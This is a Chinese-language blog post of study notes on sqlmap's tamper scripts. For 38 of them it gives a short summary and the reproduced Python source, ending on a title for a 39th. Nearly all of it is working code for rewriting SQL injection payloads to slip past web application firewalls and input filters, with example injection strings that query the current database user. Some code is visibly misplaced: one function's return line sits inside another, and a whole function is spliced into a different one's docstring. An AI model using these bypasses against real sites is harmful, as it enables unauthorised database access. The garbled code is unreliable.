下雪了，堵在路上，无聊看了下sqlmap下的tamper。然后做了笔记 https://github.com/sqlmapproject/sqlmap/tree/master/tamper
1.apostrophemask 把'使用%EF%BC%87进行替换【类似款字节】
def tamper(payload, **kwargs):
"""
Replaces apostrophe character with its UTF-8 full width counterpart
References:
* http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
* http://lukasz.pilorz.net/testy/unicode_conversion/
* http://sla.ckers.org/forum/read.php?13,11562,11850
* http://lukasz.pilorz.net/testy/full_width_utf/index.phps
>>> tamper("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
"""
return payload.replace('\'', "%EF%BC%87") if payload else payload
2.apostrophenullencode 将‘使用%00%27进行替换。中间增加%00
def tamper(payload, **kwargs):
"""
Replaces apostrophe character with its illegal double unicode counterpart
>>> tamper("1 AND '1'='1")
'1 AND %00%271%00%27=%00%271'
"""
return payload.replace('\'', "%00%27") if payload else payload
3.appendnullbyte 主要表现为在每行的最后增加一个%00
def tamper(payload, **kwargs):
"""
Appends encoded NULL byte character at the end of payload
Requirement:
* Microsoft Access
Notes:
* Useful to bypass weak web application firewalls when the back-end
database management system is Microsoft Access - further uses are
also possible
Reference: http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection
>>> tamper('1 AND 1=1')
'1 AND 1=1%00'
"""
return "%s%%00" % payload if payload else payload
4.base64encode 主要对当前的url进行base64编码达到传递的目的(针对使用bas6e传输的)
def tamper(payload, **kwargs):
"""
Base64 all characters in a given payload
>>> tamper("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
"""
5.between 主要是替换一些使用 > = < 进行匹配的时候使用between来进行替换
def tamper(payload, **kwargs):
"""
Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
Replaces equals operator ('=') with 'BETWEEN # AND #'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls that
filter the greater than character
* The BETWEEN clause is SQL standard. Hence, this tamper script
should work against all (?) databases
>>> tamper('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
>>> tamper('1 AND A = B--')
'1 AND A BETWEEN B AND B--'
"""
retVal = payload
if payload:
match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload)
if match:
_ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5))
retVal = retVal.replace(match.group(0), _)
else:
retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", " NOT BETWEEN 0 AND \g<1>", payload)
if retVal == payload:
match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*(\w+)\s*", payload)
if match:
_ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5))
retVal = retVal.replace(match.group(0), _)
return retVal
return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload
6.bluecoat 针对mysql的编码，再每个空格前使用%09来达到编码的目的
def tamper(payload, **kwargs):
"""
Replaces space character after SQL statement with a valid random blank character.
Afterwards replace character = with LIKE operator
Requirement:
* Blue Coat SGOS with WAF activated as documented in
https://kb.bluecoat.com/index?page=content&id=FAQ2147
Tested against:
* MySQL 5.1, SGOS
Notes:
* Useful to bypass Blue Coat's recommended WAF rule configuration
>>> tamper('SELECT id FROM users WHERE id = 1')
'SELECT%09id FROM%09users WHERE%09id LIKE 1'
"""
def process(match):
word = match.group('word')
if word.upper() in kb.keywords:
return match.group().replace(word, "%s%%09" % word)
else:
return match.group()
retVal = payload
if payload:
retVal = re.sub(r"\b(?P<word>[A-Z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal)
retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
retVal = retVal.replace("%09 ", "%09")
return retVal
7.chardoubleencode 对整个进行二次URL编码
def tamper(payload, **kwargs):
"""
Double url-encodes all characters in a given payload (not processing
already encoded)
Notes:
* Useful to bypass some weak web application firewalls that do not
double url-decode the request before processing it through their
ruleset
>>> tamper('SELECT FIELD FROM%20TABLE')
'%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545'
"""
retVal = payload
if payload:
retVal = ""
i = 0
while i < len(payload):
if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
retVal += '%%25%s' % payload[i + 1:i + 3]
i += 3
else:
retVal += '%%25%.2X' % ord(payload[i])
i += 1
return retVal
8.charencode 对整个进行一次URL编码
def tamper(payload, **kwargs):
"""
Url-encodes all characters in a given payload (not processing already
encoded)
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass very weak web application firewalls that do not
url-decode the request before processing it through their ruleset
* The web server will anyway pass the url-decoded version behind,
hence it should work against any DBMS
>>> tamper('SELECT FIELD FROM%20TABLE')
'%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'
"""
retVal = payload
if payload:
retVal = ""
i = 0
while i < len(payload):
if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
retVal += payload[i:i + 3]
i += 3
else:
retVal += '%%%.2X' % ord(payload[i])
i += 1
return retVal
9.charunicodeencode 对整个进行Unicode编码（也就是S转换为%u0053）【主要体现在asp asp.net上】
def tamper(payload, **kwargs):
"""
Unicode-url-encodes non-encoded characters in a given payload (not
processing already encoded)
Requirement:
* ASP
* ASP.NET
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3
Notes:
* Useful to bypass weak web application firewalls that do not
unicode url-decode the request before processing it through their
ruleset
>>> tamper('SELECT FIELD%20FROM TABLE')
'%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045'
"""
retVal = payload
if payload:
retVal = ""
i = 0
while i < len(payload):
if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
retVal += "%%u00%s" % payload[i + 1:i + 3]
i += 3
else:
retVal += '%%u%.4X' % ord(payload[i])
i += 1
return retVal
10.concat2concatws 主要是作用于把CONCAT(A, B)替换为CONCAT_WS(MID(CHAR(0), 0, 0), A, B)
def tamper(payload, **kwargs):
"""
Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
Requirement:
* MySQL
Tested against:
* MySQL 5.0
Notes:
* Useful to bypass very weak and bespoke web application firewalls
that filter the CONCAT() function
>>> tamper('CONCAT(1,2)')
'CONCAT_WS(MID(CHAR(0),0,0),1,2)'
"""
if payload:
payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")
return payload
11.equaltolike 把等于使用like进行替换
def tamper(payload, **kwargs):
"""
Replaces all occurances of operator equal ('=') with operator 'LIKE'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
Notes:
* Useful to bypass weak and bespoke web application firewalls that
filter the equal character ('=')
* The LIKE operator is SQL standard. Hence, this tamper script
should work against all (?) databases
>>> tamper('SELECT * FROM users WHERE id=1')
'SELECT * FROM users WHERE id LIKE 1'
"""
retVal = payload
if payload:
retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
return retVal
12.greatest 主要的作用是把A>B使用GREATEST(A,B+1)=A进行替换
def tamper(payload, **kwargs):
"""
Replaces greater than operator ('>') with 'GREATEST' counterpart
Tested against:
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls that
filter the greater than character
* The GREATEST clause is a widespread SQL command. Hence, this
tamper script should work against majority of databases
>>> tamper('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
"""
retVal = payload
if payload:
match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>#-]+)", payload)
if match:
_ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(4), match.group(5), match.group(4))
retVal = retVal.replace(match.group(0), _)
return retVal
13.halfversionedmorekeywords 使用/*!0替换空格
def tamper(payload, **kwargs):
"""
Adds versioned MySQL comment before each keyword
Requirement:
* MySQL < 5.1
Tested against:
* MySQL 4.0.18, 5.0.22
Notes:
* Useful to bypass several web application firewalls when the
back-end database management system is MySQL
* Used during the ModSecurity SQL injection challenge,
http://modsecurity.org/demo/challenge.html
>>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
"""
def process(match):
word = match.group('word')
if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
return match.group().replace(word, "/*!0%s" % word)
else:
return match.group()
retVal = payload
if payload:
retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal)
retVal = retVal.replace(" /*!0", "/*!0")
return retVal
14.lowercase 主要是把大写转换为小写
def tamper(payload, **kwargs):
"""
Replaces each keyword character with lower case value
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass very weak and bespoke web application firewalls
that has poorly written permissive regular expressions
* This tamper script should work against all (?) databases
>>> tamper('INSERT')
'insert'
"""
retVal = payload
if payload:
for match in re.finditer(r"[A-Za-z_]+", retVal):
word = match.group()
if word.upper() in kb.keywords:
retVal = retVal.replace(word, word.lower())
return retVal
15.modsecurityversioned 在两个变量之间加上 /*!30%*/" 类似于1 AND 2>1-- 转为 1 /*!30874AND 2>1*/--
def tamper(payload, **kwargs):
"""
Embraces complete query with versioned comment
Requirement:
* MySQL
Tested against:
* MySQL 5.0
Notes:
* Useful to bypass ModSecurity WAF/IDS
>>> import random
>>> random.seed(0)
>>> tamper('1 AND 2>1--')
'1 /*!30874AND 2>1*/--'
"""
retVal = payload
if payload:
postfix = ''
for comment in ('#', '--', '/*'):
if comment in payload:
postfix = payload[payload.find(comment):]
payload = payload[:payload.find(comment)]
break
if ' ' in payload:
retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix)
return retVal
16.modsecurityzeroversioned 在两个变量之间加上 /*!00000 类似于1 AND 2>1-- 转为 1 /*!00000AND 2>1*/--
def tamper(payload, **kwargs):
"""
Embraces complete query with zero-versioned comment
Requirement:
* MySQL
Tested against:
* MySQL 5.0
Notes:
* Useful to bypass ModSecurity WAF/IDS
>>> tamper('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'
"""
retVal = payload
if payload:
postfix = ''
for comment in ('#', '--', '/*'):
if comment in payload:
postfix = payload[payload.find(comment):]
payload = payload[:payload.find(comment)]
break
if ' ' in payload:
retVal = "%s /*!00000%s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix)
return retVal
17.multiplespaces 增加空格的个数。类似把一个空格使用4个空格(或者TAB)替换
def tamper(payload, **kwargs):
"""
Adds multiple spaces around SQL keywords
Notes:
* Useful to bypass very weak and bespoke web application firewalls
that has poorly written permissive regular expressions
Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
>>> random.seed(0)
>>> tamper('1 UNION SELECT foobar')
'1 UNION SELECT foobar'
"""
retVal = payload
if payload:
words = set()
for match in re.finditer(r"[A-Za-z_]+", payload):
word = match.group()
if word.upper() in kb.keywords:
words.add(word)
for word in words:
retVal = re.sub("(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randrange(1, 4), word, ' ' * random.randrange(1, 4)), retVal)
retVal = re.sub("(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randrange(1, 4), word), retVal)
return retVal
18.nonrecursivereplacement 主要是在("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE")中间继续填充一个关键词。
把UNION SELECT转换为UNIOUNIONN SELESELECTCT
def tamper(payload, **kwargs):
"""
Replaces predefined SQL keywords with representations
suitable for replacement (e.g. .replace("SELECT", "")) filters
Notes:
* Useful to bypass very weak custom filters
>>> random.seed(0)
>>> tamper('1 UNION SELECT 2--')
'1 UNIOUNIONN SELESELECTCT 2--'
"""
keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE")
retVal = payload
warnMsg = "currently only couple of keywords are being processed %s. " % str(keywords)
warnMsg += "You can set it manually according to your needs"
singleTimeWarnMessage(warnMsg)
if payload:
for keyword in keywords:
_ = random.randint(1, len(keyword) - 1)
retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal)
return retVal
19.overlongutf8 主要为使用%C0%AA替换空格
def tamper(payload, **kwargs):
"""
Converts all characters in a given payload (not processing already
encoded)
Reference: https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/
>>> tamper('SELECT FIELD FROM TABLE WHERE 2>1')
'SELECT FIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1'
"""
retVal = payload
if payload:
retVal = ""
i = 0
while i < len(payload):
if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
retVal += payload[i:i + 3]
i += 3
else:
if payload[i] not in (string.ascii_letters + string.digits):
retVal += "%%C0%%%.2X" % (0x8A | ord(payload[i]))
else:
retVal += payload[i]
i += 1
return retVal
20.percentage 主要是使用%分割关键词类似于把SELECT 转换为%S%E%L%E%C%T
def tamper(payload, **kwargs):
"""
Adds a percentage sign ('%') infront of each character
Requirement:
* ASP
Tested against:
* Microsoft SQL Server 2000, 2005
* MySQL 5.1.56, 5.5.11
* PostgreSQL 9.0
Notes:
def tamper(payload, **kwargs):
"""
Replaces each keyword character with random case value
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass very weak and bespoke web application firewalls
that has poorly written permissive regular expressions
* This tamper script should work against all (?) databases
>>> import random
>>> random.seed(0)
>>> tamper('INSERT')
'INseRt'
"""
retVal = payload
if payload:
for match in re.finditer(r"[A-Za-z_]+", retVal):
word = match.group()
if word.upper() in kb.keywords:
while True:
_ = ""
for i in xrange(len(word)):
_ += word[i].upper() if randomRange(0, 1) else word[i].lower()
if len(_) > 1 and _ not in (_.lower(), _.upper()):
break
retVal = retVal.replace(word, _)
return retVal * Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT FIELD FROM TABLE')
'%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E'
"""
if payload:
retVal = ""
i = 0
while i < len(payload):
if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
retVal += payload[i:i + 3]
i += 3
elif
payload[i] != ' ':
retVal += '%%%s' % payload[i]
i += 1
else:
retVal += payload[i]
i += 1
return retVal
21.randomcase 随机转换大小写。类似于INSERT转换为INseRt
def tamper(payload, **kwargs):
"""
Replaces each keyword character with random case value
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass very weak and bespoke web application firewalls
that has poorly written permissive regular expressions
* This tamper script should work against all (?) databases
>>> import random
>>> random.seed(0)
>>> tamper('INSERT')
'INseRt'
"""
retVal = payload
if payload:
for match in re.finditer(r"[A-Za-z_]+", retVal):
word = match.group()
if word.upper() in kb.keywords:
while True:
_ = ""
for i in xrange(len(word)):
_ += word[i].upper() if randomRange(0, 1) else word[i].lower()
if len(_) > 1 and _ not in (_.lower(), _.upper()):
break
retVal = retVal.replace(word, _)
return retVal
22.randomcomments 随机在关键词间插入/**/.类似INSERT转换为I/**/N/**/SERT
def tamper(payload, **kwargs):
"""
Add random comments to SQL keywords
>>> import random
>>> random.seed(0)
>>> tamper('INSERT')
'I/**/N/**/SERT'
"""
retVal = payload
if payload:
for match in re.finditer(r"\b[A-Za-z_]+\b", payload):
word = match.group()
if len(word) < 2:
continue
if word.upper() in kb.keywords:
_ = word[0]
for i in xrange(1, len(word) - 1):
_ += "%s%s" % ("/**/" if randomRange(0, 1) else "", word[i])
_ += word[-1]
if "/**/" not in _:
index = randomRange(1, len(word) - 1)
_ = word[:index] + "/**/" + word[index:]
retVal = retVal.replace(word, _)
return retVal
23.securesphere 再末尾增加and '0having'='0having
def tamper(payload, **kwargs):
"""
Appends special crafted string
Notes:
* Useful for bypassing Imperva SecureSphere WAF
* Reference: http://seclists.org/fulldisclosure/2011/May/163
>>> tamper('1 AND 1=1')
"1 AND 1=1 and '0having'='0having'"
"""
return payload + " and '0having'='0having'" if payload else payload
24.sp_password 针对MSSQL的一种办法。在--后面增加sp_password
def tamper(payload, **kwargs):
"""
Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
Requirement:
* MSSQL
Notes:
* Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure
* Reference: http://websec.ca/kb/sql_injection
>>> tamper('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'
"""
retVal = ""
if payload:
retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "")
return retVal
25.space2comment 使用/**/替换空格
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/**/"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "/**/"
continue
retVal += payload[i]
return retVal
26.space2dash 使用--(rand)%0A替换掉空格
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with a dash comment ('--') followed by
a random string and a new line ('\n')
Requirement:
* MSSQL
* SQLite
Notes:
* Useful to bypass several web application firewalls
* Used during the ZeroNights SQL injection challenge,
https://proton.onsec.ru/contest/
>>> random.seed(0)
>>> tamper('1 AND 9227=9227')
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
"""
retVal = ""
if payload:
for i in xrange(len(payload)):
if payload[i].isspace():
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
retVal += "--%s%%0A" % randomStr
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i]
return retVal
27.space2hash 使用%23(rand)%0A来替换空格
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with a pound character ('#') followed by
a random string and a new line ('\n')
Requirement:
* MySQL
Tested against:
* MySQL 4.0, 5.0
Notes:
* Useful to bypass several web application firewalls
* Used during the ModSecurity SQL injection challenge,
http://modsecurity.org/demo/challenge.html
>>> random.seed(0)
>>> tamper('1 AND 9227=9227')
'1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227'
"""
retVal = ""
if payload:
for i in xrange(len(payload)):
if payload[i].isspace():
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
retVal += "%%23%s%%0A" % randomStr
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i]
return retVal
28.space2morehash 使用多个%23(rand)%0A来替换空格
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with a pound character ('#') followed by
a random string and a new line ('\n')
Requirement:
* MySQL >= 5.1.13
Tested against:
* MySQL 5.1.41
Notes:
* Useful to bypass several web application firewalls
* Used during the ModSecurity SQL injection challenge,
http://modsecurity.org/demo/challenge.html
>>> random.seed(0)
>>> tamper('1 AND 9227=9227')
'1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227'
"""
def process(match):
word = match.group('word')
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr))
else:
return match.group()
retVal = ""
if payload:
payload = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), payload)
for i in xrange(len(payload)):
if payload[i].isspace():
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
retVal += "%%23%s%%0A" % randomStr
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i]
return retVal
29.space2mssqlblank 针对MSSQL使用特定的字符替换空格
特定的字符('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with a random blank character from a
valid set of alternate characters
Requirement:
* Microsoft SQL Server
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
Notes:
* Useful to bypass several web application firewalls
>>> random.seed(0)
>>> tamper('SELECT id FROM users')
'SELECT%0Eid%0DFROM%07users'
"""
# ASCII table:
# SOH 01 start of heading
# STX 02 start of text
# ETX 03 end of text
# EOT 04 end of transmission
# ENQ 05 enquiry
# ACK 06 acknowledge
# BEL 07 bell
# BS 08 backspace
# TAB 09 horizontal tab
# LF 0A new line
# VT 0B vertical TAB
# FF 0C new page
# CR 0D carriage return
# SO 0E shift out
# SI 0F shift in
blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace, end = False, False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += random.choice(blanks)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
end = True
elif payload[i] == " " and not doublequote and not quote:
if end:
retVal += random.choice(blanks[:-1])
else:
retVal += random.choice(blanks)
continue
retVal += payload[i]
return retVal
30.space2mssqlhash 使用%23%0A来替换空格
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with a pound character ('#') followed by
a new line ('\n')
Requirement:
* MSSQL
* MySQL
Notes:
* Useful to bypass several web application firewalls
>>> tamper('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'
"""
retVal = ""
if payload:
for i in xrange(len(payload)):
if payload[i].isspace():
retVal += "%23%0A"
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i]
return retVal
31.space2mysqlblank 针对MYSQL使用特定的字符来替换空格
特定的字符('%09', '%0A', '%0C', '%0D', '%0B')
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with a random blank character from a
valid set of alternate characters
Requirement:
* MySQL
Tested against:
* MySQL 5.1
Notes:
* Useful to bypass several web application firewalls
>>> random.seed(0)
>>> tamper('SELECT id FROM users')
'SELECT%0Bid%0DFROM%0Cusers'
"""
# ASCII table:
# TAB 09 horizontal TAB
# LF 0A new line
# FF 0C new page
# CR 0D carriage return
# VT 0B vertical TAB (MySQL and Microsoft SQL Server only)
blanks = ('%09', '%0A', '%0C', '%0D', '%0B')
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += random.choice(blanks)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += random.choice(blanks)
continue
retVal += payload[i]
return retVal
32.space2mysqldash 针对MYSQL使用--%0A来替换空格
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with a dash comment ('--') followed by
a new line ('\n')
Requirement:
* MySQL
* MSSQL
Tested against:
Notes:
* Useful to bypass several web application firewalls.
>>> tamper('1 AND 9227=9227')
'1--%0AAND--%0A9227=9227'
"""
retVal = ""
if payload:
for i in xrange(len(payload)):
if payload[i].isspace():
retVal += "--%0A"
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i]
return retVal
33.space2plus 主要用于使用+替换空格符
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with plus ('+')
Notes:
* Is this any useful? The plus get's url-encoded by sqlmap engine
invalidating the query afterwards
* This tamper script works against all databases
>>> tamper('SELECT id FROM users')
'SELECT+id+FROM+users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "+"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "+"
continue
retVal += payload[i]
return retVal
34.space2randomblank主要用"%09", "%0A", "%0C", "%0D"替换注入中的空格
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with a random blank character from a
valid set of alternate characters
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass several web application firewalls
>>> random.seed(0)
>>> tamper('SELECT id FROM users')
'SELECT%0Did%0DFROM%0Ausers'
"""
# ASCII table:
# TAB 09 horizontal TAB
# LF 0A new line
# FF 0C new page
# CR 0D carriage return
blanks = ("%09", "%0A", "%0C", "%0D")
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += random.choice(blanks)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == ' ' and not doublequote and not quote:
retVal += random.choice(blanks)
continue
retVal += payload[i]
return retVal
35.symboliclogical 该插件主要是在and被过来后使用&& 以及||
def tamper(payload, **kwargs):
"""
Replaces AND and OR logical operators with their symbolic counterparts (&& and ||)
>>> tamper("1 AND '1'='1")
"1 %26%26 '1'='1"
"""
retVal = payload
if payload:
retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload))
return retVal
36.unionalltounion 该插件主要是替换掉union all select 里面的all
def tamper(payload, **kwargs):
"""
Replaces UNION ALL SELECT with UNION SELECT
>>> tamper('-1 UNION ALL SELECT')
'-1 UNION SELECT'
"""
return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload
37.unmagicquotes 主要用在宽字节注入，绕过magic_quotes/addslashes
def tamper(payload, **kwargs):
"""
Replaces quote character (') with a multi-byte combo %bf%27 together with
generic comment at the end (to make it work)
Notes:
* Useful for bypassing magic_quotes/addslashes feature
Reference:
* http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
>>> tamper("1' AND 1=1")
'1%bf%27-- '
"""
retVal = payload
if payload:
found = False
retVal = ""
for i in xrange(len(payload)):
if payload[i] == '\'' and not found:
retVal += "%bf%27"
found = True
else:
retVal += payload[i]
continue
if found:
_ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal)
if _ != retVal:
retVal = _
retVal += "-- "
elif not any(_ in retVal for _ in ('#', '--', '/*')):
retVal += "-- "
return retVal
38.varnish 主要是用于X-originating-IP可以绕过部分认证
def tamper(payload, **kwargs):
"""
Append a HTTP header 'X-originating-IP' to bypass
WAF Protection of Varnish Firewall
Notes:
Reference: http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366
Examples:
>> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)
>> X-remote-IP: TARGET_PROXY_IP (184.189.250.X)
>> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)
>> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)
>> X-remote-IP: * or %00 or %0A
"""
headers = kwargs.get("headers", {})
headers["X-originating-IP"] = "127.0.0.1"
return payload
39.versionedmorekeywords 该插件主要是在mysql敏感词两旁加/*!%s*/
